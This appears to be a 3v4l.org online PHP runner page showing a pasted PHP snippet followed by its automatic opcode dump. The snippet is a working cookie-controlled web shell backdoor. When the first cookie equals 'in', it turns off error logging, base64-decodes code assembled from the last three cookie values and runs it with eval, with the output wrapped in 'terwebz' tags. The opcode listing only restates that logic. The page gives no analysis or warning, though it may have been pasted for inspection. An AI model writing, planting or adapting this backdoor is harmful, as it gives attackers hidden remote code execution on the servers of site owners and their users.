3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=$_COOKIE; print($a); if(reset($a)=='in' && $c($a)>3){ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>';} ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 9, Position 2 = 14
Branch analysis from position: 9
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 46
Branch analysis from position: 15
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 46
Branch analysis from position: 14
filename:       /in/XV0r4
function name:  (null)
number of ops:  47
compiled vars:  !0 = $c, !1 = $a, !2 = $k
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'count'
    3     1        FETCH_R                      global              ~4      '_COOKIE'
          2        ASSIGN                                                   !1, ~4
    4     3        ECHO                                                     !1
    5     4        INIT_FCALL                                               'reset'
          5        SEND_REF                                                 !1
          6        DO_ICALL                                         $6      
          7        IS_EQUAL                                         ~7      $6, 'in'
          8      > JMPZ_EX                                          ~7      ~7, ->14
          9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAR_EX                                              !1
         11        DO_FCALL                                      0  $8      
         12        IS_SMALLER                                       ~9      3, $8
         13        BOOL                                             ~7      ~9
         14    > > JMPZ                                                     ~7, ->46
         15    >   INIT_FCALL                                               'ini_set'
         16        SEND_VAL                                                 'error_log'
         17        SEND_VAL                                                 '%2Fdev%2Fnull'
         18        DO_ICALL                                                 
    6    19        ASSIGN                                                   !2, 'terwebz'
    7    20        CONCAT                                           ~12     '%3C', !2
         21        CONCAT                                           ~13     ~12, '%3E'
         22        ECHO                                                     ~13
    8    23        INIT_FCALL                                               'base64_decode'
         24        INIT_FCALL                                               'preg_replace'
         25        SEND_VAL                                                 <array>
         26        SEND_VAL                                                 <array>
         27        INIT_FCALL                                               'join'
         28        INIT_FCALL                                               'array_slice'
         29        SEND_VAR                                                 !1
         30        INIT_DYNAMIC_CALL                                        !0
         31        SEND_VAR_EX                                              !1
         32        DO_FCALL                                      0  $14     
         33        SUB                                              ~15     $14, 3
         34        SEND_VAL                                                 ~15
         35        DO_ICALL                                         $16     
         36        SEND_VAR                                                 $16
         37        DO_ICALL                                         $17     
         38        SEND_VAR                                                 $17
         39        DO_ICALL                                         $18     
         40        SEND_VAR                                                 $18
         41        DO_ICALL                                         $19     
         42        INCLUDE_OR_EVAL                                          $19, EVAL
    9    43        CONCAT                                           ~21     '%3C%2F', !2
         44        CONCAT                                           ~22     ~21, '%3E'
         45        ECHO                                                     ~22
   10    46    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
160.66 ms | 1400 KiB | 25 Q